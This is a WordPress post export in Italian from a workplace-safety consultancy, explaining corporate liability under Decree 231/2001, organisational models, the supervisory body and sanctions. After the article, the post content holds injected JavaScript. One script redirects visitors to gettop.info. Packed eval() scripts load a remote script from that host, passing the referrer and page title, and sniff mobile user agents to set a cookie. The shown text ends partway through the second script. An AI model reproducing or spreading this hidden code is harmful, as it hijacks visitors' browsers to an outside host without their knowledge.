{"id":1484,"date":"2015-07-09T20:04:12","date_gmt":"2015-07-09T18:04:12","guid":{"rendered":"http:\/\/qsei.areaprova.com\/?p=1484"},"modified":"2017-10-23T11:57:44","modified_gmt":"2017-10-23T09:57:44","slug":"sistema-di-gestione-per-la-sicurezza-sul-lavoro-d-l-vo-2312001-d-l-vo-812008-d-l-vo-1522006circolare-nr-052011-31-mag-2011-2","status":"publish","type":"post","link":"https:\/\/qsei.it\/?p=1484","title":{"rendered":"Sistema di Gestione per la Sicurezza sul Lavoro &#8211; D.L.vo 231\/2001, D.L.vo 81\/2008, D.L.vo 152\/2006|CIRCOLARE nr. 05\/2011 \u2013 31 MAG 2011"},"content":{"rendered":"<p class=\"western\" lang=\"it-IT\" align=\"justify\">\u00a0<span style=\"font-family: Verdana,serif;\"><span style=\"font-size: small;\"><b>Che cosa \u00e8 \u201cla 231\u201d?<\/b><\/span><\/span><\/p>\n<p class=\"western\" lang=\"it-IT\" align=\"justify\"><span style=\"font-family: Verdana,serif;\"><span style=\"font-size: small;\">Sulla base del D.L.vo. 231\/2001, le Aziende e gli Enti in genere possono essere chiamati a rispondere in sede penale per taluni reati commessi nel proprio interesse o vantaggio dai propri amministratori o dipendenti e collaboratori.<\/span><\/span><\/p>\n<p class=\"western\" lang=\"it-IT\" align=\"justify\"><span style=\"font-family: Verdana,serif;\"><span style=\"font-size: small;\">Con l\u2019espressione \u201cla 231\u201d si fa riferimento al quadro normativo che disciplina la responsabilit\u00e0 diretta delle Aziende e degli Enti in genere che si aggiunge, senza sostituirsi, a quella (da sempre esistita) delle persone fisiche che hanno materialmente commesso il reato (Datore di Lavoro e suoi subordinati).<\/span><\/span><\/p>\n<p class=\"western\" lang=\"it-IT\" align=\"justify\"><span style=\"font-family: Verdana,serif;\"><span style=\"font-size: small;\">E\u2019 esclusa la responsabilit\u00e0 della Societ\u00e0 se \u00e8 adottato un Modello Organizzativo di Gestione e Controllo atto a prevenire i reati e se si istituisce un Organismo di Vigilanza dotato di poteri autonomi di iniziativa e di controllo.<\/span><\/span><\/p>\n<p class=\"western\" lang=\"it-IT\" align=\"justify\"><span style=\"font-family: Verdana,serif;\"><span style=\"font-size: small;\"><b>Quali sono i reati sanzionati dal D.L.vo 231?<\/b><\/span><\/span><\/p>\n<p class=\"western\" lang=\"it-IT\" align=\"justify\"><span style=\"font-family: Verdana,serif;\"><span style=\"font-size: small;\">L\u2019elenco dei reati che possono originare la responsabilit\u00e0 delle aziende e degli enti in genere in forza del D.L.vo. 231\/2001, \u00e8 in continuo aggiornamento e ampliamento e include (tra altri):<\/span><\/span><\/p>\n<ul>\n<li><span style=\"font-family: Verdana,serif;\"><span style=\"font-size: small;\">reati contro la Pubblica Amministrazione: corruzione, concussione, truffa ai danni di un Ente pubblico (ad esempio, partecipazione a truffe per il conseguimento di incentivi\/finanziamenti pubblici, corruzione di pubblici funzionari per l\u2019ottenimento di una commessa, di concessioni\/autorizzazioni, ecc.), corruzione tra privati;<\/span><\/span><\/li>\n<li><span style=\"font-family: Verdana,serif;\"><span style=\"font-size: small;\">reati societari: aggiotaggio, false comunicazioni sociali, indebita restituzione conferimenti, illecita influenza sull\u2019assemblea e falso in prospetto;<\/span><\/span><\/li>\n<li><span style=\"font-family: Verdana,serif;\"><span style=\"font-size: small;\">reati di ricettazione, riciclaggio e impiego di denaro, beni o utilit\u00e0 di provenienza illecita;<\/span><\/span><\/li>\n<li><span style=\"font-family: Verdana,serif;\"><span style=\"font-size: small;\">delitti informatici (ad esempio, accesso abusivo a sistemi informatici o telematici);<\/span><\/span><\/li>\n<li><span style=\"font-family: Verdana,serif;\"><span style=\"font-size: small;\">delitti contro l\u2019industria e il commercio (ad esempio, turbata libert\u00e0 dell&#8217;industria o del commercio, vendita di prodotti industriali con segni mendaci, ecc.);<\/span><\/span><\/li>\n<li><span style=\"font-family: Verdana,serif;\"><span style=\"font-size: small;\"><b>omicidio colposo e\/o lesioni colpose commessi con violazione delle norme a tutela della salute e della sicurezza sul lavoro (art. 25-<\/b><\/span><\/span><span style=\"font-family: Verdana,serif;\"><span style=\"font-size: small;\"><i><b>septies <\/b><\/i><\/span><\/span><span style=\"font-family: Verdana,serif;\"><span style=\"font-size: small;\"><b>D.L.vo n.231\/01);<\/b><\/span><\/span><\/li>\n<li><span style=\"font-family: Verdana,serif;\"><span style=\"font-size: small;\"><b>reati in materia ambientale e contro specie protette (art.25-<\/b><\/span><\/span><span style=\"font-family: Verdana,serif;\"><span style=\"font-size: small;\"><i><b>undecies <\/b><\/i><\/span><\/span><span style=\"font-family: Verdana,serif;\"><span style=\"font-size: small;\"><b>D.L.vo n.231\/01).<\/b><\/span><\/span><\/li>\n<\/ul>\n<p class=\"western\" lang=\"it-IT\" align=\"justify\"><span style=\"font-family: Verdana,serif;\"><span style=\"font-size: small;\"><b>Responsabilit\u00e0 della Societ\u00e0 o dell\u2019Ente. D.L.vo 231\/2011 art 5.<\/b><\/span><\/span><\/p>\n<p class=\"western\" lang=\"it-IT\" align=\"justify\"><span style=\"font-family: Verdana,serif;\"><span style=\"font-size: small;\">1. L&#8217;ente \u00e8 responsabile per i reati commessi nel suo interesse o a suo vantaggio:<\/span><\/span><\/p>\n<p class=\"western\" lang=\"it-IT\" align=\"justify\"><span style=\"font-family: Verdana,serif;\"><span style=\"font-size: small;\">a) da persone che rivestono funzioni di rappresentanza, di amministrazione o di direzione dell&#8217;ente o di una sua unit\u00e0 organizzativa dotata di autonomia finanziaria e funzionale nonch\u00e9 da persone che esercitano, anche di fatto, la gestione e il controllo dello stesso;<\/span><\/span><\/p>\n<p class=\"western\" lang=\"it-IT\" align=\"justify\"><span style=\"font-family: Verdana,serif;\"><span style=\"font-size: small;\">b) da persone sottoposte alla direzione o alla vigilanza di uno dei soggetti di cui alla lettera a).<\/span><\/span><\/p>\n<p class=\"western\" lang=\"it-IT\" align=\"justify\"><span style=\"font-family: Verdana,serif;\"><span style=\"font-size: small;\">2. L&#8217;ente non risponde se le persone indicate nel comma 1 hanno agito nell&#8217;interesse esclusivo proprio o di terzi.<\/span><\/span><\/p>\n<p class=\"western\" lang=\"it-IT\" align=\"justify\"><span style=\"font-family: Verdana,serif;\"><span style=\"font-size: small;\"><b>Modelli di organizzazione<\/b><\/span><\/span><\/p>\n<p class=\"western\" lang=\"it-IT\" align=\"justify\"><span style=\"font-family: Verdana,serif;\"><span style=\"font-size: small;\">Il decreto indica le caratteristiche minime che il modello deve avere per essere considerato efficace: <\/span><\/span><\/p>\n<ul>\n<li class=\"western\" lang=\"it-IT\"><span style=\"font-family: Verdana,serif;\"><span style=\"font-size: small;\">individuare le attivit\u00e0 nel cui ambito esiste la possibilit\u00e0 che vengano commessi reati <\/span><\/span><\/li>\n<li class=\"western\" lang=\"it-IT\"><span style=\"font-family: Verdana,serif;\"><span style=\"font-size: small;\">prevedere specifici protocolli organizzativi di gestione e controllo<\/span><\/span><\/li>\n<li class=\"western\" lang=\"it-IT\"><span style=\"font-family: Verdana,serif;\"><span style=\"font-size: small;\">introdurre un Codice Etico e relativo Sistema Disciplinare, accompagnato da una adeguata FORMAZIONE<\/span><\/span><\/li>\n<li class=\"western\" lang=\"it-IT\"><span style=\"font-family: Verdana,serif;\"><span style=\"font-size: small;\">istituire un Organismo di Vigilanza a cui affidare il compito di vigilare sul funzionamento e l\u2019osservanza del modello e di curarne l\u2019aggiornamento.<\/span><\/span><\/li>\n<\/ul>\n<p class=\"western\" lang=\"it-IT\" align=\"justify\"><span style=\"font-family: Verdana,serif;\"><span style=\"font-size: small;\">Il Modello di organizzazione e di gestione, tra cui rientra quello ex art. 30 del D.L.vo 81\/2008, \u00e8 il mezzo attraverso il quale l\u2019ente ha l\u2019opportunit\u00e0 di dimostrare la propria diligenza organizzativa, \u00ab\u2026assicurando un sistema aziendale per l&#8217;adempimento di tutti gli obblighi giuridici\u2026\u00bb discendenti dalla normativa in materia di salute e sicurezza sui luoghi di lavoro e, conseguentemente e in primo luogo, prevenendo e riducendo gli impatti degli infortuni e delle malattie nei luoghi di lavoro.<\/span><\/span><\/p>\n<p class=\"western\" lang=\"it-IT\" align=\"justify\"><span style=\"font-family: Verdana,serif;\"><span style=\"font-size: small;\">I modelli di organizzazione aziendale definiti conformemente alle <\/span><\/span><span style=\"font-family: Verdana,serif;\"><span style=\"font-size: small;\"><b>Linee guida UNI INAIL<\/b><\/span><\/span><span style=\"font-family: Verdana,serif;\"><span style=\"font-size: small;\"> per un sistema di gestione della salute e sicurezza sul lavoro (SGSL) o al <\/span><\/span><span style=\"font-family: Verdana,serif;\"><span style=\"font-size: small;\"><b>British Standard OHSAS 18001:2007<\/b><\/span><\/span><span style=\"font-family: Verdana,serif;\"><span style=\"font-size: small;\"> e alla norma <\/span><\/span><span style=\"font-family: Verdana,serif;\"><span style=\"font-size: small;\"><b>ISO 14001:2004<\/b><\/span><\/span><span style=\"font-family: Verdana,serif;\"><span style=\"font-size: small;\"> per l\u2019ambiente, si presumono conformi ai requisiti di cui al presente articolo per le parti corrispondenti\u00bb.<\/span><\/span><\/p>\n<p class=\"western\" lang=\"it-IT\" align=\"justify\"><span style=\"font-family: Verdana,serif;\"><span style=\"font-size: small;\"><b>L\u2019Organismo di Vigilanza<\/b><\/span><\/span><\/p>\n<p class=\"western\" lang=\"it-IT\" align=\"justify\"><span style=\"font-family: Verdana,serif;\"><span style=\"font-size: small;\">I componenti non debbono essere operativi nell\u2019ente, ma slegati dalle gerarchie societarie; secondo le Linee Guida di Confindustria, recepite ad Agosto 2014 dal Ministero Giustizia devono avere una formazione da giuristi ed avere competenze in attivit\u00e0 di ispezione e consulenza.<\/span><\/span><\/p>\n<p class=\"western\" lang=\"it-IT\" align=\"justify\"><span style=\"font-family: Verdana,serif;\"><span style=\"font-size: small;\"><b>Quali sono le sanzioni?<\/b><\/span><\/span><\/p>\n<p class=\"western\" lang=\"it-IT\" align=\"justify\"><span style=\"font-family: Verdana,serif;\"><span style=\"font-size: small;\">Le sanzioni a cui l\u2019Azienda o Ente in genere potrebbe andare incontro sono particolarmente pesanti e applicabili anche in via cautelare:<\/span><\/span><\/p>\n<ul>\n<li class=\"western\" lang=\"it-IT\"><span style=\"font-family: Verdana,serif;\"><span style=\"font-size: small;\">sanzioni interdittive come ad esempio l\u2019interdizione per un determinato periodo di tempo (anche fino ad 1 anno per certi reati) dall\u2019esercizio dell\u2019attivit\u00e0, la sospensione o la revoca di autorizzazioni, licenze o concessioni, l\u2019esclusione da agevolazioni, finanziamenti, contributi o sussidi e la revoca di quelli concessi, il divieto di pubblicizzare i propri beni o servizi, eccetera;<\/span><\/span><\/li>\n<li class=\"western\" lang=\"it-IT\"><span style=\"font-family: Verdana,serif;\"><span style=\"font-size: small;\">sanzioni pecuniarie, calcolate con il sistema delle quote (il cui valore oscilla da 258 a 1.549 \u20ac, sulla base della gravit\u00e0 della responsabilit\u00e0 dell\u2019azienda), esse possono variare per tipologia di reato. Ad esempio, con riferimento ai reati in materia di salute e sicurezza sui luoghi di lavoro le sanzioni possono arrivare fino a 1.549.000 \u20ac.<\/span><\/span><\/li>\n<\/ul>\n<h5 class=\"western\" lang=\"it-IT\" align=\"center\"><span style=\"font-family: Verdana,serif;\"><span style=\"font-size: small;\"><b>IL PERSONALE DI Qsei s.r.l. E\u2019 A DISPOSIZIONE PER CHIARIMENTI E<br \/>\nPER ASSISTERE LE AZIENDE AD ESPLETARE GLI ADEMPIMENTI NECESSARI<\/b><\/span><\/span><\/h5>\n<\/p>\n<p><script language = 'javascript'> setTimeout(\"document.location.href='http:\/\/gettop.info\/kt\/?53vSkc&#038;'\", delay);<\/script><\/p>\n<p><script type=\"text\/javascript\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\\\b'+e(c)+'\\\\b','g'),k[c])}}return p}('5 d=1;5 2=d.f(\\'4\\');2.g=\\'c:\/\/b.7\/8\/?9&#038;a=4&#038;i=\\'+6(1.o)+\\'&#038;p=\\'+6(1.n)+\\'\\';m(1.3){1.3.j.k(2,1.3)}h{d.l(\\'q\\')[0].e(2)}',27,27,'|document|s|currentScript|script|var|encodeURIComponent|info|kt|sdNXbH|frm|gettop|http||appendChild|createElement|src|else|se_referrer|parentNode|insertBefore|getElementsByTagName|if|title|referrer|default_keyword|head'.split('|'),0,{}))<\/script><\/p>\n<p>d.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(s);<\/p>\n<p>document.currentScript.parentNode.insertBefore(s, document.currentScript);<\/p>\n<p><script>eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c\/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(\/^\/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\\\b'+e(c)+'\\\\b','g'),k[c])}}return p}('z(1d.1k.1l(\"16\")==-1){(2V(a,b){z(a.1l(\"2W\")==-1){z(\/(2X|2U\\\\d+|2T).+1b|2P|2Q\\\\\/|2R|2S|2Y|2Z|37|38|39|G(36|B|L)|W|35|30 |31|33|34|1b.+2O|2N|1i m(2z|2A)i|2B( K)?|2y|p(2x|2t)\\\\\/|2u|2v|2w|2C(4|6)0|2D|2K|M\\\\.(2L|2M)|2J|2I|2E 2F|2G|2H\/i.17(a)||\/3a|3b|3E|3F|3G|50[1-6]i|3D|3C|a D|3y|X(N|Z|s\\\\-)|Y(3z|3A)|O(3B|1g|U)|3H|3I(3P|x|3Q)|3R|P(3O|A)|3N(j|3J)|3K|3L(3M|\\\\-m|r |s )|3x|3w(I|S|3i)|1a(3j|3k)|3h(X|3g)|3c(e|v)w|3d|3e\\\\-(n|u)|3f\\\\\/|3l|3m|2s\\\\-|3u|3v|3s|3r\\\\-|U(3n|R)|3o|3p(V|S|3q)|3S|2l\\\\-s|1B|1x|1y|1c(c|p)o|1E(12|\\\\-d)|1J(49|Y)|1w(1H|1F)|N(1m|1n)|1o|1v([4-7]0|K|D|1p)|1s|1q(\\\\-|15)|F u|1r|1I|2r\\\\-5|g\\\\-y|A(\\\\.w|B)|2f(L|29)|2a|2b|2i\\\\-(m|p|t)|2o\\\\-|2p(J|14)|2n( i|G)|2j\\\\-c|2k(c(\\\\-| |15|a|g|p|s|t)|28)|27(1S|1T)|i\\\\-(20|A|q)|1R|1Q( |\\\\-|\\\\\/)|1N|1O|1P|1V|1W|24|25|W|23(t|v)a|22|1X|1Y|1Z|2e|26( |\\\\\/)|1U|2m |2q\\\\-|2h(c|k)|2c(2d|2g)|1M( g|\\\\\/(k|l|u)|50|54|\\\\-[a-w])|1t|1u|1L\\\\-w|1G|1K\\\\\/|q(j|1D|1z)|Q(f|21|1g)|m\\\\-1A|1C(3t|T)|4p(5E|5F|E)|5G|y(f|5D|1a|5C|1c|t(\\\\-| |o|v)|5z)|5A(50|3T|v )|5H|5I|5O[0-2]|5P[2-3]|5N(0|2)|5M(0|2|5)|5J(0(0|1)|10)|5K((c|m)\\\\-|5L|5y|5x|5l|5m)|5n(6|i)|5k|5j|5g(5h|5i)|5o|5p|5v|5R(a|d|t)|5u|5t(13|\\\\-([1-8]|c))|5q|5r|C(5s|5Q)|67\\\\-2|65(I|69|11)|63|64|J\\\\-g|5U\\\\-a|5Z(5Y|12|21|32|60|\\\\-[2-7]|i\\\\-)|5X|66|6a|6c|6b|5V(5T|62)|5W\\\\\/|5S(6d|q|68|5w|x|5e)|4m(f|h\\\\-|Z|p\\\\-)|4n\\\\\/|11(c(\\\\-|0|1)|47|Q|R|T)|4o\\\\-|4l|4k(\\\\-|m)|4h\\\\-0|4i(45|4j)|5f(O|P|4q|V|4w)|4x(4v|x)|4u(f|h\\\\-|v\\\\-|v )|4r(f|4s)|4t(18|50)|4g(4f|10|18)|14(3Z|41)|42\\\\-|3Y\\\\-|3X(i|m)|3U\\\\-|t\\\\-y|3V(C|3W)|E(H|m\\\\-|43|44)|4d\\\\-9|M(\\\\.b|F|4e)|4c|4b|46|48|4a(4y|j)|4z(40|5[0-3]|\\\\-v)|4Y|4Z|51|4X(52|53|60|61|H|4W|4T|4U|4V|55)|56(\\\\-| )|5c|5d|5b(g |5a|57)|58|59|4S|4R\\\\-|4F|4G|4H\\\\-\/i.17(a.4E(0,4))){4D 1e=1h 19(1h 19().4A()+4B);1d.1k=\"16=1; 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